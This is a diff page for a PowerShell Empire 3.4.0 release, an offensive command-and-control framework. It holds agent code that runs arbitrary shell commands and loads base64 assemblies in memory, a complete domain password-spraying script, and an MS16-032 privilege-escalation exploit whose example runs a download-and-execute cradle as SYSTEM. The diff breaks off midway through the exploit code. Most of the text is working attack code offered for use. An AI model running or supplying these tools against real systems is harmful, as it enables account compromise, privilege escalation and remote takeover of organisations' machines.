Codebase list powershell-empire / 8213037
New upstream version 3.4.0 Sophie Brun 3 years ago
35 changed file(s) with 5538 addition(s) and 495 deletion(s). Raw diff Collapse all Expand all
0 3.3.4
0 3.4.0
0 9/15/2020
1 ------------
2 - Version 3.4.0 Master Release
3 - Added Malleable C2 HTTP Listener - #287 (@Johneiser, @Cx01N, @Hubbl3)
4 - Added reflective load ability for files - #309 (@Hubbl3)
5 - Added Invoke-DomainPasswordSpray - #295 (@Cx01N)
6 - Added Invoke-WinPEAS - #293 (@Cx01N)
7 - Added Invoke-Watson - #294 (@Cx01N)
8 - Added plugins being loaded at startup - #301 (@Cx01N)
9 - Updated moduleName to display full directory - #299 (@Cx01N)
10 - Updated info in Invoke-SMBExec to indicate single target - #286 (@Cx01N)
11 - Updated Slack API notifications to webhooks - #303 (@Cx01N)
12 - Fixed spaces for IIS default page in HTTP listener - #302 (@adamczi)
13 - Fixed agent spawning issue with MS-16-032 - #292 (@Cx01N)
14 - Fixed min language version for modules (@Cx01N)
15 - Fixed CLI stager incorrectly shutting down - #198 (@Cx01N)
16 - Fixed error message from active agents during shutdown - #308 (@Cx01N)
17
18 9/8/2020
19 ------------
20 - Version 3.4.0-RC2
21 - Added plugins being loaded at startup - #301 (@Cx01N)
22 - Fixed CLI stager incorrectly shutting down - #198 (@Cx01N)
23 - Updated moduleName to display full directory - #299 (@Cx01N)
24 - Updated info in Invoke-SMBExec to indicate single target - #286 (@Cx01N)
25
26 9/1/2020
27 ------------
28 - Version 3.4.0-RC1
29 - Added Malleable C2 HTTP Listener - #287 (@Johneiser, @Cx01N, @Hubbl3)
30 - Added Invoke-DomainPasswordSpray - #295 (@Cx01N)
31 - Added Invoke-WinPEAS - #293 (@Cx01N)
32 - Added Invoke-Watson - #294 (@Cx01N)
33 - Fixed agent spawning issue with MS-16-032 - #292 (@Cx01N)
34 - Fixed min language version for modules (@Cx01N)
35
036 8/18/2020
137 ------------
238 - Version 3.3.4 Master Release
273273 if ($cmd.ToLower() -eq 'shell') {
274274 # if we have a straight 'shell' command, skip the aliases
275275 if ($cmdargs.length -eq '') { $output = 'no shell command supplied' }
276 else { $output = IEX "$cmdargs" }
276 else {
277 $OldConsoleOut = [Console]::Out
278 $StringWriter = New-Object IO.StringWriter
279 [Console]::SetOut($StringWriter)
280 $output = iex "$cmdargs" | out-string
281 #for somereason this was quoted again and it shouldn't need to be
282 #$output = iex $cmdargs
283 [Console]::SetOut($OldConsoleOut)
284
285 if ($output.length -eq 0){
286 $output = $StringWriter.ToString()
287 }
288 }
277289 $output += "`n`r..Command execution completed."
290 }
291 elseif ($cmd.ToLower() -eq 'reflectiveload'){
292 if ($cmdargs.length -eq '') { $output = 'no binary supplied' }
293 else{
294 $assembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($cmdargs))
295 $output = "`n`r Reflective Load Complete"
296 }
278297 }
279298 else {
280299 switch -regex ($cmd) {
0 function Invoke-DomainPasswordSpray{
1 <#
2 .SYNOPSIS
3
4 This module performs a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. Be careful not to lockout any accounts.
5
6 DomainPasswordSpray Function: Invoke-DomainPasswordSpray
7 Author: Beau Bullock (@dafthack) and Brian Fehrman (@fullmetalcache)
8 License: BSD 3-Clause
9 Required Dependencies: None
10 Optional Dependencies: None
11
12 .DESCRIPTION
13
14 This module performs a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. Be careful not to lockout any accounts.
15
16 .PARAMETER UserList
17
18 Optional UserList parameter. This will be generated automatically if not specified.
19
20 .PARAMETER Password
21
22 A single password that will be used to perform the password spray.
23
24 .PARAMETER PasswordList
25
26 A list of passwords one per line to use for the password spray (Be very careful not to lockout accounts).
27
28 .PARAMETER OutFile
29
30 A file to output the results to.
31
32 .PARAMETER Domain
33
34 The domain to spray against.
35
36 .PARAMETER Filter
37
38 Custom LDAP filter for users, e.g. "(description=*admin*)"
39
40 .PARAMETER Force
41
42 Forces the spray to continue and doesn't prompt for confirmation.
43
44 .PARAMETER UsernameAsPassword
45
46 For each user, will try that user's name as their password
47
48 .EXAMPLE
49
50 C:\PS> Invoke-DomainPasswordSpray -Password Winter2016
51
52 Description
53 -----------
54 This command will automatically generate a list of users from the current user's domain and attempt to authenticate using each username and a password of Winter2016.
55
56 .EXAMPLE
57
58 C:\PS> Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
59
60 Description
61 -----------
62 This command will use the userlist at users.txt and try to authenticate to the domain "domain-name" using each password in the passlist.txt file one at a time. It will automatically attempt to detect the domain's lockout observation window and restrict sprays to 1 attempt during each window.
63
64 .EXAMPLE
65
66 C:\PS> Invoke-DomainPasswordSpray -UsernameAsPassword -OutFile valid-creds.txt
67
68 Description
69 -----------
70 This command will automatically generate a list of users from the current user's domain and attempt to authenticate as each user by using their username as their password. Any valid credentials will be saved to valid-creds.txt
71
72 #>
73 param(
74 [Parameter(Position = 0, Mandatory = $false)]
75 [string]
76 $UserList = "",
77
78 [Parameter(Position = 1, Mandatory = $false)]
79 [string]
80 $Password,
81
82 [Parameter(Position = 2, Mandatory = $false)]
83 [string]
84 $PasswordList,
85
86 [Parameter(Position = 3, Mandatory = $false)]
87 [string]
88 $OutFile,
89
90 [Parameter(Position = 4, Mandatory = $false)]
91 [string]
92 $Filter = "",
93
94 [Parameter(Position = 5, Mandatory = $false)]
95 [string]
96 $Domain = "",
97
98 [Parameter(Position = 6, Mandatory = $false)]
99 [switch]
100 $Force,
101
102 [Parameter(Position = 7, Mandatory = $false)]
103 [switch]
104 $UsernameAsPassword,
105
106 [Parameter(Position = 8, Mandatory = $false)]
107 [int]
108 $Delay=0,
109
110 [Parameter(Position = 9, Mandatory = $false)]
111 $Jitter=0
112
113 )
114
115 if ($Password)
116 {
117 $Passwords = @($Password)
118 }
119 elseif($UsernameAsPassword)
120 {
121 $Passwords = ""
122 }
123 elseif($PasswordList)
124 {
125 $Passwords = Get-Content $PasswordList
126 }
127 else
128 {
129 "[!] The -Password or -PasswordList option must be specified"
130 break
131 }
132
133 try
134 {
135 if ($Domain -ne "")
136 {
137 # Using domain specified with -Domain option
138 $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain)
139 $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
140 $CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName
141 }
142 else
143 {
144 # Trying to use the current user's domain
145 $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
146 $CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName
147 }
148 }
149 catch
150 {
151 throw "[!] Could not connect to the domain. Try specifying the domain name with the -Domain option. 1"
152 }
153
154 if ($UserList -eq "")
155 {
156 $UserListArray = Get-DomainUserList -Domain $Domain -RemoveDisabled -RemovePotentialLockouts -Filter $Filter
157 }
158 else
159 {
160 # if a Userlist is specified use it and do not check for lockout thresholds
161 "[*] Using $UserList as userlist to spray with"
162 "[!] Warning: Users will not be checked for lockout threshold."
163 $UserListArray = @()
164 try
165 {
166 $UserListArray = Get-Content $UserList -ErrorAction stop
167 }
168 catch [Exception]
169 {
170 "[!] $_.Exception"
171 break
172 }
173
174 }
175
176
177 if ($Passwords.count > 1)
178 {
179 "[!] WARNING - Be very careful not to lock out accounts with the password list option!"
180 }
181
182 $observation_window = Get-ObservationWindow
183
184 "[*] The domain password policy observation window is set to $observation_window minutes."
185 "[*] Setting a $observation_window minute wait in between sprays."
186
187 # if no force flag is set we will ask if the user is sure they want to spray
188 if (!$Force)
189 {
190 $title = "Confirm Password Spray"
191 $message = "Are you sure you want to perform a password spray against " + $UserListArray.count + " accounts?"
192
193 $yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Yes", `
194 "Attempts to authenticate 1 time per user in the list for each password in the passwordlist file."
195
196 $no = New-Object System.Management.Automation.Host.ChoiceDescription "&No", `
197 "Cancels the password spray."
198
199 $options = [System.Management.Automation.Host.ChoiceDescription[]]($yes, $no)
200
201 $result = $host.ui.PromptForChoice($title, $message, $options, 0)
202
203 if ($result -ne 0)
204 {
205 "[*] Cancelling the password spray."
206 break
207 }
208 }
209 $pass_count = $Passwords.count
210 "[*] Password spraying has begun with $pass_count passwords"
211 "[*] This might take a while depending on the total number of users"
212
213 if($UsernameAsPassword)
214 {
215 Invoke-SpraySinglePassword -Domain $CurrentDomain -UserListArray $UserListArray -OutFile $OutFile -Delay $Delay -Jitter $Jitter -UsernameAsPassword
216 }
217 else
218 {
219 for($i = 0; $i -lt $Passwords.count; $i++)
220 {
221 Invoke-SpraySinglePassword -Domain $CurrentDomain -UserListArray $UserListArray -Password $Passwords[$i] -OutFile $OutFile -Delay $Delay -Jitter $Jitter
222 if (($i+1) -lt $Passwords.count)
223 {
224 Countdown-Timer -Seconds (60*$observation_window)
225 }
226 }
227 }
228
229 "[*] Password spraying is complete"
230 if ($OutFile -ne "")
231 {
232 "[+] Any passwords that were successfully sprayed have been output to $OutFile"
233 }
234 }
235
236 function Countdown-Timer
237 {
238 param(
239 $Seconds = 1800,
240 $Message = "[*] Pausing to avoid account lockout."
241 )
242 foreach ($Count in (1..$Seconds))
243 {
244 Write-Progress -Id 1 -Activity $Message -Status "Waiting for $($Seconds/60) minutes. $($Seconds - $Count) seconds remaining" -PercentComplete (($Count / $Seconds) * 100)
245 Start-Sleep -Seconds 1
246 }
247 Write-Progress -Id 1 -Activity $Message -Status "Completed" -PercentComplete 100 -Completed
248 }
249
250 function Get-DomainUserList
251 {
252 <#
253 .SYNOPSIS
254
255 This module gathers a userlist from the domain.
256
257 DomainPasswordSpray Function: Get-DomainUserList
258 Author: Beau Bullock (@dafthack)
259 License: BSD 3-Clause
260 Required Dependencies: None
261 Optional Dependencies: None
262
263 .DESCRIPTION
264
265 This module gathers a userlist from the domain.
266
267 .PARAMETER Domain
268
269 The domain to spray against.
270
271 .PARAMETER RemoveDisabled
272
273 Attempts to remove disabled accounts from the userlist. (Credit to Sally Vandeven (@sallyvdv))
274
275 .PARAMETER RemovePotentialLockouts
276
277 Removes accounts within 1 attempt of locking out.
278
279 .PARAMETER Filter
280
281 Custom LDAP filter for users, e.g. "(description=*admin*)"
282
283 .EXAMPLE
284
285 PS C:\> Get-DomainUserList
286
287 Description
288 -----------
289 This command will gather a userlist from the domain including all samAccountType "805306368".
290
291 .EXAMPLE
292
293 C:\PS> Get-DomainUserList -Domain domainname -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt
294
295 Description
296 -----------
297 This command will gather a userlist from the domain "domainname" including any accounts that are not disabled and are not close to locking out. It will write them to a file at "userlist.txt"
298
299 #>
300 param(
301 [Parameter(Position = 0, Mandatory = $false)]
302 [string]
303 $Domain = "",
304
305 [Parameter(Position = 1, Mandatory = $false)]
306 [switch]
307 $RemoveDisabled,
308
309 [Parameter(Position = 2, Mandatory = $false)]
310 [switch]
311 $RemovePotentialLockouts,
312
313 [Parameter(Position = 3, Mandatory = $false)]
314 [string]
315 $Filter
316 )
317
318 try
319 {
320 if ($Domain -ne "")
321 {
322 # Using domain specified with -Domain option
323 $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain)
324 $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
325 $CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName
326 }
327 else
328 {
329 # Trying to use the current user's domain
330 $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
331 $CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName
332 }
333 }
334 catch
335 {
336 throw "[!] Could not connect to the domain. Try specifying the domain name with the -Domain option. 2"
337 }
338
339 # Setting the current domain's account lockout threshold
340 $objDeDomain = [ADSI] "LDAP://$($DomainObject.PDCRoleOwner)"
341 $AccountLockoutThresholds = @()
342 $AccountLockoutThresholds += $objDeDomain.Properties.lockoutthreshold
343
344 # Getting the AD behavior version to determine if fine-grained password policies are possible
345 $behaviorversion = [int] $objDeDomain.Properties['msds-behavior-version'].item(0)
346 if ($behaviorversion -ge 3)
347 {
348 # Determine if there are any fine-grained password policies
349 "[*] Current domain is compatible with Fine-Grained Password Policy."
350 $ADSearcher = New-Object System.DirectoryServices.DirectorySearcher
351 $ADSearcher.SearchRoot = $objDeDomain
352 $ADSearcher.Filter = "(objectclass=msDS-PasswordSettings)"
353 $PSOs = $ADSearcher.FindAll()
354
355 if ( $PSOs.count -gt 0)
356 {
357 "[*] A total of " + $PSOs.count + " Fine-Grained Password policies were found.`r`n"
358 foreach($entry in $PSOs)
359 {
360 # Selecting the lockout threshold, min pwd length, and which
361 # groups the fine-grained password policy applies to
362 $PSOFineGrainedPolicy = $entry | Select-Object -ExpandProperty Properties
363 $PSOPolicyName = $PSOFineGrainedPolicy.name
364 $PSOLockoutThreshold = $PSOFineGrainedPolicy.'msds-lockoutthreshold'
365 $PSOAppliesTo = $PSOFineGrainedPolicy.'msds-psoappliesto'
366 $PSOMinPwdLength = $PSOFineGrainedPolicy.'msds-minimumpasswordlength'
367 # adding lockout threshold to array for use later to determine which is the lowest.
368 $AccountLockoutThresholds += $PSOLockoutThreshold
369
370 "[*] Fine-Grained Password Policy titled: $PSOPolicyName has a Lockout Threshold of $PSOLockoutThreshold attempts, minimum password length of $PSOMinPwdLength chars, and applies to $PSOAppliesTo.`r`n"
371 }
372 }
373 }
374
375 $observation_window = Get-ObservationWindow
376
377 # Generate a userlist from the domain
378 # Selecting the lowest account lockout threshold in the domain to avoid
379 # locking out any accounts.
380 [int]$SmallestLockoutThreshold = $AccountLockoutThresholds | sort | Select -First 1
381 "[*] Now creating a list of users to spray..."
382
383 if ($SmallestLockoutThreshold -eq "0")
384 {
385 "[*] There appears to be no lockout policy."
386 }
387 else
388 {
389 "[*] The smallest lockout threshold discovered in the domain is $SmallestLockoutThreshold login attempts."
390 }
391
392 $UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$CurrentDomain)
393 $DirEntry = New-Object System.DirectoryServices.DirectoryEntry
394 $UserSearcher.SearchRoot = $DirEntry
395
396 $UserSearcher.PropertiesToLoad.Add("samaccountname") > $Null
397 $UserSearcher.PropertiesToLoad.Add("badpwdcount") > $Null
398 $UserSearcher.PropertiesToLoad.Add("badpasswordtime") > $Null
399
400 if ($RemoveDisabled)
401 {
402 "[*] Removing disabled users from list."
403 # More precise LDAP filter UAC check for users that are disabled (Joff Thyer)
404 # LDAP 1.2.840.113556.1.4.803 means bitwise &
405 # uac 0x2 is ACCOUNTDISABLE
406 # uac 0x10 is LOCKOUT
407 # See http://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/
408 $UserSearcher.filter =
409 "(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=16)(!userAccountControl:1.2.840.113556.1.4.803:=2)$Filter)"
410 }
411 else
412 {
413 $UserSearcher.filter = "(&(objectCategory=person)(objectClass=user)$Filter)"
414 }
415
416 $UserSearcher.PropertiesToLoad.add("samaccountname") > $Null
417 $UserSearcher.PropertiesToLoad.add("lockouttime") > $Null
418 $UserSearcher.PropertiesToLoad.add("badpwdcount") > $Null
419 $UserSearcher.PropertiesToLoad.add("badpasswordtime") > $Nulll
420
421 #$UserSearcher.filter
422
423 # grab batches of 1000 in results
424 $UserSearcher.PageSize = 1000
425 $AllUserObjects = $UserSearcher.FindAll()
426 "[+] There are " + $AllUserObjects.count + " total users found."
427 $UserListArray = @()
428
429 if ($RemovePotentialLockouts)
430 {
431 "[*] Removing users within 1 attempt of locking out from list."
432 foreach ($user in $AllUserObjects)
433 {
434 # Getting bad password counts and lst bad password time for each user
435 $badcount = $user.Properties.badpwdcount
436 $samaccountname = $user.Properties.samaccountname
437 try
438 {
439 $badpasswordtime = $user.Properties.badpasswordtime[0]
440 }
441 catch
442 {
443 continue
444 }
445 $currenttime = Get-Date
446 $lastbadpwd = [DateTime]::FromFileTime($badpasswordtime)
447 $timedifference = ($currenttime - $lastbadpwd).TotalMinutes
448
449 if ($badcount)
450 {
451 [int]$userbadcount = [convert]::ToInt32($badcount, 10)
452 $attemptsuntillockout = $SmallestLockoutThreshold - $userbadcount
453 # if there is more than 1 attempt left before a user locks out
454 # or if the time since the last failed login is greater than the domain
455 # observation window add user to spray list
456 if (($timedifference -gt $observation_window) -or ($attemptsuntillockout -gt 1))
457 {
458 $UserListArray += $samaccountname
459 }
460 }
461 }
462 }
463 else
464 {
465 foreach ($user in $AllUserObjects)
466 {
467 $samaccountname = $user.Properties.samaccountname
468 $UserListArray += $samaccountname
469 }
470 }
471
472 "[*] Created a userlist containing " + $UserListArray.count + " users gathered from the current user's domain"
473 return $UserListArray
474 }
475
476 function Invoke-SpraySinglePassword
477 {
478 param(
479 [Parameter(Position=1)]
480 $Domain,
481 [Parameter(Position=2)]
482 [string[]]
483 $UserListArray,
484 [Parameter(Position=3)]
485 [string]
486 $Password,
487 [Parameter(Position=4)]
488 [string]
489 $OutFile,
490 [Parameter(Position=5)]
491 [int]
492 $Delay=0,
493 [Parameter(Position=6)]
494 [double]
495 $Jitter=0,
496 [Parameter(Position=7)]
497 [switch]
498 $UsernameAsPassword
499 )
500 $time = Get-Date
501 $count = $UserListArray.count
502 "[*] Now trying password $Password against $count users. Current time is $($time.ToShortTimeString())"
503 $curr_user = 0
504 "[*] Writing successes to $OutFile"
505 $RandNo = New-Object System.Random
506
507 foreach ($User in $UserListArray)
508 {
509 if ($UsernameAsPassword)
510 {
511 $Password = $User
512 }
513 $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain,$User,$Password)
514 if ($Domain_check.name -ne $null)
515 {
516 if ($OutFile -ne "")
517 {
518 Add-Content $OutFile $User`:$Password
519 }
520 "[+] SUCCESS! User:$User Password:$Password"
521 }
522 $curr_user += 1
523 "[*] $curr_user of $count users tested`r"
524 if ($Delay)
525 {
526 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
527 }
528 }
529
530 }
531
532 function Get-ObservationWindow()
533 {
534 # Get account lockout observation window to avoid running more than 1
535 # password spray per observation window.
536 $command = "cmd.exe /C net accounts /domain"
537 $net_accounts_results = Invoke-Expression -Command:$command
538 $stripped_policy = ($net_accounts_results | Where-Object {$_ -like "*Lockout Observation Window*"})
539 $stripped_split_a, $stripped_split_b = $stripped_policy.split(':',2)
540 $observation_window_no_spaces = $stripped_split_b -Replace '\s+',""
541 [int]$observation_window = [convert]::ToInt32($observation_window_no_spaces, 10)
542 return $observation_window
543 }
0 function Invoke-MS16032 {
0 function Invoke-MS16-032 {
11 <#
2 .SYNOPSIS
3
4 PowerShell implementation of MS16-032. The exploit targets all vulnerable
5 operating systems that support PowerShell v2+. Credit for the discovery of
6 the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
7
8 Targets:
9
10 * Win7-Win10 & 2k8-2k12 <== 32/64 bit!
11 * Tested on x32 Win7, x64 Win8, x64 2k12R2
12
13 Notes:
14
15 * In order for the race condition to succeed the machine must have 2+ CPU
16 cores. If testing in a VM just make sure to add a core if needed mkay.
17 * The exploit is pretty reliable, however ~1/6 times it will say it succeeded
18 but not spawn a shell. Not sure what the issue is but just re-run and profit!
19 * Want to know more about MS16-032 ==>
20 https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
21
22 .DESCRIPTION
23
24 Author: Ruben Boonen (@FuzzySec)
25 Blog: http://www.fuzzysecurity.com/
26 License: BSD 3-Clause
27 Required Dependencies: PowerShell v2+
28 Optional Dependencies: None
29 E-DB Note: Source ~ https://twitter.com/FuzzySec/status/723254004042612736
30
31 EDIT: This script has been edited to include a parameter for custom commands and
32 also hides the spawned shell. Many comments have also been removed and echo has
33 moved to Write-Verbose. The original can be found at:
34 https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1
35
36 .EXAMPLE
37
38 C:\PS> Invoke-MS16-032 -Command "iex(New-Object Net.WebClient).DownloadString('http://google.com')"
39
40 Description
41 -----------
42 Will run the iex download cradle as SYSTEM
43
2 .SYNOPSIS
3
4 PowerShell implementation of MS16-032. The exploit targets all vulnerable
5 operating systems that support PowerShell v2+. Credit for the discovery of
6 the bug and the logic to exploit it go to James Forshaw (@tiraniddo) and @Fuzzysec for the original PS script.
7 Modifications by Mike Benich (@benichmt1).
8
9 Targets:
10
11 * Win7-Win10 & 2k8-2k12 <== 32/64 bit!
12 * Tested on x32 Win7, x64 Win8, x64 2k12R2
13
14 Notes:
15
16 * In order for the race condition to succeed the machine must have 2+ CPU
17 cores. If testing in a VM just make sure to add a core if needed mkay.
18 * The exploit is pretty reliable, however ~1/6 times it will say it succeeded
19 but not spawn a shell. Not sure what the issue is but just re-run and profit!
20 * Want to know more about MS16-032 ==>
21 https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
22 .DESCRIPTION
23 Author: Ruben Boonen (@FuzzySec)
24 Blog: http://www.fuzzysecurity.com/
25 License: BSD 3-Clause
26 Required Dependencies: PowerShell v2+
27 Optional Dependencies: None
28 Empire Updates - Mike Benich / @benichmt1
29
30 .EXAMPLE
31 C:\PS> Invoke-MS16-032
4432 #>
45 [CmdletBinding()]
46 param(
47
48 [Parameter(Position=0,Mandatory=$True)]
49 [String]
50 $Command
51 )
52
53 Add-Type -TypeDefinition @"
54 using System;
55 using System.Diagnostics;
56 using System.Runtime.InteropServices;
57 using System.Security.Principal;
58
59 [StructLayout(LayoutKind.Sequential)]
60 public struct PROCESS_INFORMATION
61 {
62 public IntPtr hProcess;
63 public IntPtr hThread;
64 public int dwProcessId;
65 public int dwThreadId;
66 }
67
68 [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
69 public struct STARTUPINFO
70 {
71 public Int32 cb;
72 public string lpReserved;
73 public string lpDesktop;
74 public string lpTitle;
75 public Int32 dwX;
76 public Int32 dwY;
77 public Int32 dwXSize;
78 public Int32 dwYSize;
79 public Int32 dwXCountChars;
80 public Int32 dwYCountChars;
81 public Int32 dwFillAttribute;
82 public Int32 dwFlags;
83 public Int16 wShowWindow;
84 public Int16 cbReserved2;
85 public IntPtr lpReserved2;
86 public IntPtr hStdInput;
87 public IntPtr hStdOutput;
88 public IntPtr hStdError;
89 }
90
91 [StructLayout(LayoutKind.Sequential)]
92 public struct SQOS
93 {
94 public int Length;
95 public int ImpersonationLevel;
96 public int ContextTrackingMode;
97 public bool EffectiveOnly;
98 }
99
100 public static class Advapi32
101 {
102 [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
103 public static extern bool CreateProcessWithLogonW(
104 String userName,
105 String domain,
106 String password,
107 int logonFlags,
108 String applicationName,
109 String commandLine,
110 int creationFlags,
111 int environment,
112 String currentDirectory,
113 ref STARTUPINFO startupInfo,
114 out PROCESS_INFORMATION processInformation);
115
116 [DllImport("advapi32.dll", SetLastError=true)]
117 public static extern bool SetThreadToken(
118 ref IntPtr Thread,
119 IntPtr Token);
120
121 [DllImport("advapi32.dll", SetLastError=true)]
122 public static extern bool OpenThreadToken(
123 IntPtr ThreadHandle,
124 int DesiredAccess,
125 bool OpenAsSelf,
126 out IntPtr TokenHandle);
127
128 [DllImport("advapi32.dll", SetLastError=true)]
129 public static extern bool OpenProcessToken(
130 IntPtr ProcessHandle,
131 int DesiredAccess,
132 ref IntPtr TokenHandle);
133
134 [DllImport("advapi32.dll", SetLastError=true)]
135 public extern static bool DuplicateToken(
136 IntPtr ExistingTokenHandle,
137 int SECURITY_IMPERSONATION_LEVEL,
138 ref IntPtr DuplicateTokenHandle);
139 }
140
141 public static class Kernel32
142 {
143 [DllImport("kernel32.dll")]
144 public static extern uint GetLastError();
145
146 [DllImport("kernel32.dll", SetLastError=true)]
147 public static extern IntPtr GetCurrentProcess();
148
149 [DllImport("kernel32.dll", SetLastError=true)]
150 public static extern IntPtr GetCurrentThread();
151
152 [DllImport("kernel32.dll", SetLastError=true)]
153 public static extern int GetThreadId(IntPtr hThread);
154
155 [DllImport("kernel32.dll", SetLastError = true)]
156 public static extern int GetProcessIdOfThread(IntPtr handle);
157
158 [DllImport("kernel32.dll",SetLastError=true)]
159 public static extern int SuspendThread(IntPtr hThread);
160
161 [DllImport("kernel32.dll",SetLastError=true)]
162 public static extern int ResumeThread(IntPtr hThread);
163
164 [DllImport("kernel32.dll", SetLastError=true)]
165 public static extern bool TerminateProcess(
166 IntPtr hProcess,
167 uint uExitCode);
168
169 [DllImport("kernel32.dll", SetLastError=true)]
170 public static extern bool CloseHandle(IntPtr hObject);
171
172 [DllImport("kernel32.dll", SetLastError=true)]
173 public static extern bool DuplicateHandle(
174 IntPtr hSourceProcessHandle,
175 IntPtr hSourceHandle,
176 IntPtr hTargetProcessHandle,
177 ref IntPtr lpTargetHandle,
178 int dwDesiredAccess,
179 bool bInheritHandle,
180 int dwOptions);
181 }
182
183 public static class Ntdll
184 {
185 [DllImport("ntdll.dll", SetLastError=true)]
186 public static extern int NtImpersonateThread(
187 IntPtr ThreadHandle,
188 IntPtr ThreadToImpersonate,
189 ref SQOS SecurityQualityOfService);
190 }
33
34 param (
35 [Parameter(Mandatory = $True)]
36 [string]$Cmd
37
38 )
39
40
41 Add-Type -TypeDefinition @"
42 using System;
43 using System.Diagnostics;
44 using System.Runtime.InteropServices;
45 using System.Security.Principal;
46
47 [StructLayout(LayoutKind.Sequential)]
48 public struct PROCESS_INFORMATION
49 {
50 public IntPtr hProcess;
51 public IntPtr hThread;
52 public int dwProcessId;
53 public int dwThreadId;
54 }
55
56 [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
57 public struct STARTUPINFO
58 {
59 public Int32 cb;
60 public string lpReserved;
61 public string lpDesktop;
62 public string lpTitle;
63 public Int32 dwX;
64 public Int32 dwY;
65 public Int32 dwXSize;
66 public Int32 dwYSize;
67 public Int32 dwXCountChars;
68 public Int32 dwYCountChars;
69 public Int32 dwFillAttribute;
70 public Int32 dwFlags;
71 public Int16 wShowWindow;
72 public Int16 cbReserved2;
73 public IntPtr lpReserved2;
74 public IntPtr hStdInput;
75 public IntPtr hStdOutput;
76 public IntPtr hStdError;
77 }
78
79 [StructLayout(LayoutKind.Sequential)]
80 public struct SQOS
81 {
82 public int Length;
83 public int ImpersonationLevel;
84 public int ContextTrackingMode;
85 public bool EffectiveOnly;
86 }
87
88 public static class Advapi32
89 {
90 [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
91 public static extern bool CreateProcessWithLogonW(
92 String userName,
93 String domain,
94 String password,
95 int logonFlags,
96 String applicationName,
97 String commandLine,
98 int creationFlags,
99 int environment,
100 String currentDirectory,
101 ref STARTUPINFO startupInfo,
102 out PROCESS_INFORMATION processInformation);
103
104 [DllImport("advapi32.dll", SetLastError=true)]
105 public static extern bool SetThreadToken(
106 ref IntPtr Thread,
107 IntPtr Token);
108
109 [DllImport("advapi32.dll", SetLastError=true)]
110 public static extern bool OpenThreadToken(
111 IntPtr ThreadHandle,
112 int DesiredAccess,
113 bool OpenAsSelf,
114 out IntPtr TokenHandle);
115
116 [DllImport("advapi32.dll", SetLastError=true)]
117 public static extern bool OpenProcessToken(
118 IntPtr ProcessHandle,
119 int DesiredAccess,
120 ref IntPtr TokenHandle);
121
122 [DllImport("advapi32.dll", SetLastError=true)]
123 public extern static bool DuplicateToken(
124 IntPtr ExistingTokenHandle,
125 int SECURITY_IMPERSONATION_LEVEL,
126 ref IntPtr DuplicateTokenHandle);
127 }
128
129 public static class Kernel32
130 {
131 [DllImport("kernel32.dll")]
132 public static extern uint GetLastError();
133
134 [DllImport("kernel32.dll", SetLastError=true)]
135 public static extern IntPtr GetCurrentProcess();
136
137 [DllImport("kernel32.dll", SetLastError=true)]
138 public static extern IntPtr GetCurrentThread();
139
140 [DllImport("kernel32.dll", SetLastError=true)]
141 public static extern int GetThreadId(IntPtr hThread);
142
143 [DllImport("kernel32.dll", SetLastError = true)]
144 public static extern int GetProcessIdOfThread(IntPtr handle);
145
146 [DllImport("kernel32.dll",SetLastError=true)]
147 public static extern int SuspendThread(IntPtr hThread);
148
149 [DllImport("kernel32.dll",SetLastError=true)]
150 public static extern int ResumeThread(IntPtr hThread);
151
152 [DllImport("kernel32.dll", SetLastError=true)]
153 public static extern bool TerminateProcess(
154 IntPtr hProcess,
155 uint uExitCode);
156
157 [DllImport("kernel32.dll", SetLastError=true)]
158 public static extern bool CloseHandle(IntPtr hObject);
159
160 [DllImport("kernel32.dll", SetLastError=true)]
161 public static extern bool DuplicateHandle(
162 IntPtr hSourceProcessHandle,
163 IntPtr hSourceHandle,
164 IntPtr hTargetProcessHandle,
165 ref IntPtr lpTargetHandle,
166 int dwDesiredAccess,
167 bool bInheritHandle,
168 int dwOptions);
169 }
170
171 public static class Ntdll
172 {
173 [DllImport("ntdll.dll", SetLastError=true)]
174 public static extern int NtImpersonateThread(
175 IntPtr ThreadHandle,
176 IntPtr ThreadToImpersonate,
177 ref SQOS SecurityQualityOfService);
178 }
191179 "@
192
193 function Get-ThreadHandle {
194 $StartupInfo = New-Object STARTUPINFO
195 $StartupInfo.dwFlags = 0x00000100
196 $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
197 $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
198 $StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
199 $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo)
200
201 $ProcessInfo = New-Object PROCESS_INFORMATION
202 $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
203
